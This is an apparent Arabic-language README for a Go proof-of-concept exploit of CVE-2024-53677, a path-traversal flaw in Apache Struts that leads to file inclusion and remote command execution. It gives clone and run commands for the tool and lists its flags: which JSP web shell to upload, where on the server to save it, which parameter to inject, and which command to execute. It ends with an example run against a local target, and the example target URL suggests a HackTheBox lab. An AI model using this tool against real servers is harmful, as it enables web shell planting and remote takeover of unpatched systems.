
إثبات مفهوم لـ CVE-2024-53677
ثغرة قديمة لطيفة تؤثر على Apache Struts وتؤدي إلى LFI وتنفيذ الأوامر عن بُعد.
اجتياز المسار في Apache Struts → RCE (CVE-2024-53677)
لقد أمضيت وقتًا طويلاً في جعل هذه الأداة قابلة للتخصيص قدر الإمكان، لأنه عندما صادفت هذه الثغرة (CVE) لأول مرة، لم أجد مصدرًا جيدًا يطبقها بشكل صحيح. معظم الخيارات (flags) لها قيم افتراضية، لذا لا تثبط عزيمتك بسبب كل هذه الخيارات.
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
command to execute on the server default: whoami
-end-point string
post endpoint default to: upload.action
-file-location string
where to save the file into the server default: what test function return
-lfi-param string
Parameter name for LFI testing default: top.UploadFileName
-payload-file string
Path to the payload file default: ./shell.jsp
-payload-file-name string
name of the payload it self default: shell.jsp
-payload-param string
Parameter name for payload injection default: Upload
-test-file-name string
name of the testfile it self default: testfile.txt
-testing-file string
File used for testing default: ./testfile.txt
-url string
Target base URL (format http://strutted.htb/) do not forgot the [/] at the end
كل هذه الأوامر لها قيم افتراضية. كما أضفت دالة اختبار للتحقق من المكان الذي يجب أن يُحفظ فيه الملف، وهي أيضًا خيارات قابلة للتخصيص من المستخدم.
go run . -url http://127.0.0.1:8080/ -end-point upload.action
بعض الأمور التي يجب ملاحظتها.
لا تتردد في تعديل الأداة أو الإضافة عليها ♥️.